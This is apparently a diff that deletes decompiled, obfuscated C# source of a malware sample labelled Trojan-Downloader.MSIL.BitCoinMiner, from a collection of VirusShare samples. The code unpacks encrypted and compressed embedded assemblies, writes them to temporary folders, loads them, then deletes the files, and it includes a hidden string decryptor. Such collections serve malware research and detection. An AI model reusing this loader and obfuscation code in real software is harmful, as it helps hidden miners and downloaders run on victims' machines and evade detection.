int num = str2.IndexOf(']');
string str3 = str2.Substring(1, num - 1);
string name = str2.Substring(num + 1);
bool flag = str3.IndexOf('z') >= 0;
if (str3.IndexOf('f') >= 0)
{
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
if (manifestResourceStream != null)
{
int length = (int) manifestResourceStream.Length;
byte[] buffer = new byte[length];
manifestResourceStream.Read(buffer, 0, length);
if (flag)
buffer = \u0011.\u000F\u0003(buffer);
try
{
string path1 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) name);
Directory.CreateDirectory(path1);
\u0006.\u0006.\u0006 obj = new \u0006.\u0006.\u0006(str1);
string path2 = path1 + obj.\u0001 + \u0008.\u000E\u0003(431);
if (!File.Exists(path2))
{
FileStream fileStream = File.OpenWrite(path2);
fileStream.Write(buffer, 0, buffer.Length);
fileStream.Close();
}
\u0089.\u0006.\u008A(path2);
try
{
File.Delete(path2);
Directory.Delete(path1);
}
catch
{
}
}
catch (Exception ex)
{
}
}
}
}
}
}
catch (Exception ex)
{
}
}
}
catch (Exception ex)
{
}
}
internal static Assembly \u008A([In] object obj0, [In] ResolveEventArgs obj1)
{
\u0006.\u0006.\u0006 obj = new \u0006.\u0006.\u0006(obj1.Name);
string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u008A(false)));
string[] strArray = \u0008.\u000E\u0003(200).Split(',');
string str1 = string.Empty;
bool flag1 = false;
bool flag2 = false;
bool flag3 = false;
for (int index = 0; index < strArray.Length - 1; index += 2)
{
if (strArray[index] == base64String1)
{
str1 = strArray[index + 1];
break;
}
}
if (str1.Length == 0 && obj.\u0004.Length == 0)
{
string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
for (int index = 0; index < strArray.Length - 1; index += 2)
{
if (strArray[index] == base64String2)
{
str1 = strArray[index + 1];
break;
}
}
}
if (str1.Length > 0)
{
if (str1[0] == '[')
{
int num = str1.IndexOf(']');
string str2 = str1.Substring(1, num - 1);
flag1 = str2.IndexOf('z') >= 0;
flag2 = str2.IndexOf('g') >= 0;
flag3 = str2.IndexOf('t') >= 0;
str1 = str1.Substring(num + 1);
}
lock (\u0006.\u0006.\u0001)
{
if (\u0006.\u0006.\u0001.ContainsKey((object) str1))
return (Assembly) \u0006.\u0006.\u0001[(object) str1];
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
if (manifestResourceStream != null)
{
int length = (int) manifestResourceStream.Length;
byte[] numArray = new byte[length];
manifestResourceStream.Read(numArray, 0, length);
if (flag1)
numArray = \u0011.\u000F\u0003(numArray);
if (flag2)
{
try
{
string path1 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) str1);
Directory.CreateDirectory(path1);
string path2 = path1 + obj.\u0001 + \u0008.\u000E\u0003(431);
if (!File.Exists(path2))
{
Assembly assembly = (Assembly) null;
FileStream fileStream = File.OpenWrite(path2);
fileStream.Write(numArray, 0, numArray.Length);
fileStream.Close();
if (\u0089.\u0006.\u008A(path2))
assembly = Assembly.Load(obj.\u008A(true));
File.Delete(path2);
Directory.Delete(path1);
if ((object) assembly != null)
{
if (\u0006.\u0006.\u0001.ContainsKey((object) str1))
assembly = (Assembly) \u0006.\u0006.\u0001[(object) str1];
else
\u0006.\u0006.\u0001.Add((object) str1, (object) assembly);
return assembly;
}
}
}
catch
{
}
}
Assembly assembly1 = (Assembly) null;
if (!flag3)
{
try
{
assembly1 = Assembly.Load(numArray);
}
catch (FileLoadException ex)
{
flag3 = true;
}
catch (BadImageFormatException ex)
{
flag3 = true;
}
}
if (flag3)
{
try
{
string path3 = string.Format(\u0008.\u000E\u0003(418), (object) Path.GetTempPath(), (object) str1);
Directory.CreateDirectory(path3);
string path4 = path3 + obj.\u0001 + \u0008.\u000E\u0003(431);
if (!File.Exists(path4))
{
FileStream fileStream = File.OpenWrite(path4);
fileStream.Write(numArray, 0, numArray.Length);
fileStream.Close();
\u0006.\u0006.\u008A(path4, (string) null, 4);
\u0006.\u0006.\u008A(path3, (string) null, 4);
}
assembly1 = Assembly.LoadFile(path4);
}
catch
{
}
}
\u0006.\u0006.\u0001[(object) str1] = (object) assembly1;
return assembly1;
}
}
}
return (Assembly) null;
}
internal struct \u0006
{
public string \u0001;
public Version \u0002;
public string \u0003;
public string \u0004;
public string \u008A([In] bool obj0)
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(this.\u0001);
if (obj0)
{
stringBuilder.Append(\u0008.\u000E\u0003(440));
stringBuilder.Append((object) this.\u0002);
}
stringBuilder.Append(\u0008.\u000E\u0003(457));
stringBuilder.Append(this.\u0003.Length == 0 ? \u0008.\u000E\u0003(474) : this.\u0003);
stringBuilder.Append(\u0008.\u000E\u0003(487));
stringBuilder.Append(this.\u0004.Length == 0 ? \u0008.\u000E\u0003(512) : this.\u0004);
return stringBuilder.ToString();
}
public \u0006([In] string obj0)
{
this.\u0002 = new Version();
this.\u0003 = string.Empty;
this.\u0004 = string.Empty;
this.\u0001 = string.Empty;
string str1 = obj0;
char[] chArray = new char[1]{ ',' };
foreach (string str2 in str1.Split(chArray))
{
string str3 = str2.Trim();
if (str3.StartsWith(\u0008.\u000E\u0003(521)))
this.\u0002 = new Version(str3.Substring(8));
else if (str3.StartsWith(\u0008.\u000E\u0003(534)))
{
this.\u0003 = str3.Substring(8);
if (this.\u0003 == \u0008.\u000E\u0003(474))
this.\u0003 = string.Empty;
}
else if (str3.StartsWith(\u0008.\u000E\u0003(547)))
{
this.\u0004 = str3.Substring(15);
if (this.\u0004 == \u0008.\u000E\u0003(512))
this.\u0004 = string.Empty;
}
else
this.\u0001 = str3;
}
}
}
}
}

51
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006/_00062.cs
View File

@ -1,51 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .2
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0006;
using \u000E;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0006
{
internal sealed class \u00062
{
private static Assembly \u0001 = (Assembly) null;
private static string[] \u0002 = new string[0];
internal static void \u0089()
{
try
{
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u00062.\u0089);
}
catch (Exception ex)
{
}
}
internal static Assembly \u0089([In] object obj0, [In] ResolveEventArgs obj1)
{
if ((object) \u00062.\u0001 == null)
{
lock (\u00062.\u0002)
{
\u00062.\u0001 = Assembly.Load(\u0008.\u000E\u0003(69));
if ((object) \u00062.\u0001 != null)
\u00062.\u0002 = \u00062.\u0001.GetManifestResourceNames();
}
}
string name = obj1.Name;
for (int index = 0; index < \u00062.\u0002.Length; ++index)
{
if (\u00062.\u0002[index] == name)
return \u00062.\u0001;
}
return (Assembly) null;
}
}
}

21
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006/_00063.cs
View File

@ -1,21 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .3
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0006;
using System.Runtime.InteropServices;
namespace \u0006
{
internal sealed class \u00063
{
internal static \u00063.\u0006 \u0001;
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0006
{
}
}
}

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006_0004.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate bool \u0006\u0004([In] object obj0, [In] string obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0006_0005.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate void \u0006\u0005([In] object obj0, [In] int obj1);

87
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007/_001A.cs
View File

@ -1,87 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0007;
using System.Runtime.InteropServices;
namespace \u0007
{
internal sealed class \u001A
{
internal static \u001A.\u001B \u0001;
internal static \u001A.\u001C \u0002;
internal static \u001A.\u001D \u0003;
internal static \u001A.\u001E \u0004;
internal static \u001A.\u001F \u0005;
internal static \u001A.\u007F \u0006;
internal static \u001A.\u0080 \u0007;
internal static \u001A.\u0081 \u0008;
internal static \u001A.\u0082 \u000E;
internal static \u001A.\u0083 \u000F;
internal static \u001A.\u0084 \u0010;
internal static \u001A.\u0086 \u0011;
[StructLayout(LayoutKind.Explicit, Size = 160, Pack = 1)]
private struct \u001B
{
}
[StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
private struct \u001C
{
}
[StructLayout(LayoutKind.Explicit, Size = 8, Pack = 1)]
private struct \u001D
{
}
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u001E
{
}
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u001F
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u007F
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u0080
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0081
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0082
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u0083
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u0084
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u0086
{
}
}
}

58
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007/_0094_0002.cs
View File

@ -1,58 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .”
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u0007;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0007
{
[CompilerGenerated]
internal sealed class \u0094\u0002
{
internal static \u0094\u0002.\u0095\u0002 \u0001;
internal static \u0094\u0002.\u0096\u0002 \u0002;
internal static \u0094\u0002.\u0097\u0002 \u0003;
internal static \u0094\u0002.\u0098\u0002 \u0004;
internal static \u0094\u0002.\u0099\u0002 \u0005;
internal static \u0094\u0002.\u0099\u0002 \u0006;
internal static \u0094\u0002.\u009A\u0002 \u0007;
internal static \u0094\u0002.\u009A\u0002 \u0008;
internal static \u0094\u0002.\u0096\u0002 \u000E;
internal static \u0094\u0002.\u0096\u0002 \u000F;
internal static \u0094\u0002.\u0097\u0002 \u0010;
[StructLayout(LayoutKind.Explicit, Size = 1024, Pack = 1)]
private struct \u0095\u0002
{
}
[StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)]
private struct \u0096\u0002
{
}
[StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)]
private struct \u0097\u0002
{
}
[StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)]
private struct \u0098\u0002
{
}
[StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
private struct \u0099\u0002
{
}
[StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)]
private struct \u009A\u0002
{
}
}
}

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007_0003.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate bool \u0007\u0003([In] object obj0);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007_0004.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System;
using System.Runtime.InteropServices;
internal delegate Array \u0007\u0004([In] object obj0, [In] Type obj1);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0007_0005.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate string \u0007\u0005([In] object obj0, [In] string obj1);

11
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0008_0003.cs
View File

@ -1,11 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
internal delegate void \u0008\u0003([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2);

9
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0008_0004.cs
View File

@ -1,9 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
internal delegate void \u0008\u0004([In] object obj0, [In] byte[] obj1);

10
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0008_0005.cs
View File

@ -1,10 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using System.Runtime.InteropServices;
using System.Windows.Forms;
internal delegate void \u0008\u0005([In] object obj0, [In] SizeGripStyle obj1);

116
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E/_0008.cs
View File

@ -1,116 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u0012;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u000E
{
internal sealed class \u0008
{
private static string \u0001 = "1";
private static string \u0002 = "68";
private static byte[] \u0003 = (byte[]) null;
private static Hashtable \u0004 = (Hashtable) null;
private static bool \u0005 = false;
private static int \u0006 = 0;
public static string \u000E\u0003([In] int obj0)
{
obj0 -= \u0008.\u0006;
if (\u0008.\u0005)
{
string str = (string) \u001E\u0003.\u007E\u000F\u0004((object) \u0008.\u0004, (object) obj0);
if (str != null)
return str;
}
int num1 = obj0;
byte[] numArray1 = \u0008.\u0003;
int index1 = num1;
int num2 = index1 + 1;
int num3 = (int) numArray1[index1];
int num4;
if ((num3 & 128) == 0)
{
num4 = num3;
if (num4 == 0)
return string.Empty;
}
else if ((num3 & 64) == 0)
{
num4 = ((num3 & 63) << 8) + (int) \u0008.\u0003[num2++];
}
else
{
int num5 = (num3 & 31) << 24;
byte[] numArray2 = \u0008.\u0003;
int index2 = num2;
int num6 = index2 + 1;
int num7 = (int) numArray2[index2] << 16;
int num8 = num5 + num7;
byte[] numArray3 = \u0008.\u0003;
int index3 = num6;
int num9 = index3 + 1;
int num10 = (int) numArray3[index3] << 8;
int num11 = num8 + num10;
byte[] numArray4 = \u0008.\u0003;
int index4 = num9;
num2 = index4 + 1;
int num12 = (int) numArray4[index4];
num4 = num11 + num12;
}
try
{
byte[] numArray5 = \u000E\u0003.\u0019\u0003(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), \u0008.\u0003, num2, num4));
string str = \u0084\u0004.\u0080\u0002(\u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), numArray5, 0, numArray5.Length));
if (\u0008.\u0005)
{
try
{
\u0080\u0004.\u007E\u0008\u0004((object) \u0008.\u0004, (object) obj0, (object) str);
}
catch
{
}
}
return str;
}
catch
{
return (string) null;
}
}
static \u0008()
{
if (\u0080\u0005.\u0001\u0002(\u0008.\u0001, "1"))
{
\u0008.\u0005 = true;
\u0008.\u0004 = new Hashtable();
}
\u0008.\u0006 = \u008D\u0003.\u0017\u0003(\u0008.\u0002);
Assembly assembly = \u0015\u0003.\u001B\u0004();
Stream stream = \u000E\u0005.\u007E\u0015\u0004((object) assembly, "{658bfc85-36e1-493d-98e6-ae9127d73d60}");
try
{
int length = \u0087\u0003.\u0016\u0003(\u007F\u0004.\u007E\u0003\u0005((object) stream));
byte[] numArray = new byte[(int) checked ((uint) length)];
int num = \u0089\u0005.\u007E\u000F\u0005((object) stream, numArray, 0, length);
\u0008.\u0003 = \u0011.\u000F\u0003(numArray);
\u0093\u0003.\u007E\u0006\u0005((object) stream);
}
finally
{
if (stream != null)
\u0093\u0003.\u007E\u009E((object) stream);
}
}
}
}

132
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0008_0002.cs
View File

@ -1,132 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using \u000E\u0002;
using \u0017\u0002;
using ICSharpCode.SharpZipLib;
using ICSharpCode.SharpZipLib.Zip;
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u000E\u0002
{
internal sealed class \u0008\u0002 : Stream
{
protected \u0013 \u0001;
protected \u0016\u0002 \u0002;
private Stream \u0003;
private bool \u0004;
private bool \u0005 = true;
public \u0008\u0002([In] Stream obj0, [In] \u0013 obj1)
: this(obj0, obj1, 4096)
{
}
public \u0008\u0002([In] Stream obj0, [In] \u0013 obj1, [In] int obj2)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(1426));
if (obj1 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(1447));
if (obj2 <= 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(1460));
this.\u0003 = obj0;
this.\u0001 = obj1;
this.\u0002 = new \u0016\u0002(obj0, obj2);
}
protected void \u009C\u0003()
{
if (this.\u0002.\u0086\u0004() <= 0)
goto label_3;
label_2:
this.\u0002.\u0087\u0004(this.\u0001);
return;
label_3:
this.\u0002.\u009C\u0003();
if (this.\u0002.\u0086\u0004() <= 0)
throw new SharpZipBaseException(\u0008.\u000E\u0003(1477));
goto label_2;
}
[SpecialName]
public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0003);
[SpecialName]
public override bool get_CanSeek() => false;
[SpecialName]
public override bool get_CanWrite() => false;
[SpecialName]
public override long get_Length() => (long) this.\u0002.\u0084\u0004();
[SpecialName]
public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0003);
[SpecialName]
public override void set_Position([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1498));
public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0003);
public override long Seek([In] long obj0, [In] SeekOrigin obj1) => throw new NotSupportedException(\u0008.\u000E\u0003(1555));
public override void SetLength([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1580));
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotSupportedException(\u0008.\u000E\u0003(1641));
public override void WriteByte([In] byte obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(1694));
public override IAsyncResult BeginWrite(
[In] byte[] obj0,
[In] int obj1,
[In] int obj2,
[In] AsyncCallback obj3,
[In] object obj4)
{
throw new NotSupportedException(\u0008.\u000E\u0003(1755));
}
public override void Close()
{
if (this.\u0004)
return;
this.\u0004 = true;
if (!this.\u0005)
return;
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0003);
}
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (this.\u0001.\u008B\u0004())
throw new SharpZipBaseException(\u0008.\u000E\u0003(1816));
int num1 = obj2;
int num2;
do
{
num2 = this.\u0001.\u0012\u0003(obj0, obj1, num1);
obj1 += num2;
num1 -= num2;
if (num1 != 0 && !this.\u0001.\u008C\u0004())
{
if (this.\u0001.\u0018\u0003())
this.\u009C\u0003();
}
else
goto label_8;
}
while (num2 != 0);
throw new ZipException(\u0008.\u000E\u0003(1841));
label_8:
return obj2 - num1;
}
}
}

110
MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0002/_0014.cs
View File

@ -1,110 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
using \u000E;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u000E\u0002
{
internal sealed class \u0014
{
private byte[] \u0001;
private int \u0002;
private int \u0003;
private uint \u0004;
private int \u0005;
public int \u0013\u0003([In] int obj0)
{
if (this.\u0005 < obj0)
goto label_4;
label_3:
return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1));
label_4:
if (this.\u0002 == this.\u0003)
return -1;
this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005);
this.\u0005 += 16;
goto label_3;
}
public void \u0014\u0003([In] int obj0)
{
this.\u0004 >>= obj0;
this.\u0005 -= obj0;
}
[SpecialName]
public int \u0015\u0003() => this.\u0005;
[SpecialName]
public int \u0016\u0003() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3);
public void \u0017\u0003()
{
this.\u0004 >>= this.\u0005 & 7;
this.\u0005 &= -8;
}
[SpecialName]
public bool \u0018\u0003() => this.\u0002 == this.\u0003;
public int \u0019\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (obj2 < 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(3156));
if ((this.\u0005 & 7) != 0)
throw new InvalidOperationException(\u0008.\u000E\u0003(3165));
int num1 = 0;
while (this.\u0005 > 0 && obj2 > 0)
{
obj0[obj1++] = (byte) this.\u0004;
this.\u0004 >>= 8;
this.\u0005 -= 8;
--obj2;
++num1;
}
if (obj2 == 0)
return num1;
int num2 = this.\u0003 - this.\u0002;
if (obj2 > num2)
obj2 = num2;
\u008F\u0003.\u0098((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2);
this.\u0002 += obj2;
if ((this.\u0002 - this.\u0003 & 1) != 0)
{
this.\u0004 = (uint) this.\u0001[this.\u0002++] & (uint) byte.MaxValue;
this.\u0005 = 8;
}
return num1 + obj2;
}
public void \u001A\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
{
if (obj0 == null)
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
if (obj1 < 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577), \u0008.\u000E\u0003(2972));
if (obj2 < 0)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611), \u0008.\u000E\u0003(2972));
if (this.\u0002 < this.\u0003)
throw new InvalidOperationException(\u0008.\u000E\u0003(3210));
int num = obj1 + obj2;
if (obj1 > num || num > obj0.Length)
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(611));
if ((obj2 & 1) != 0)
{
this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005);
this.\u0005 += 8;
}
this.\u0001 = obj0;
this.\u0002 = obj1;
this.\u0003 = num;
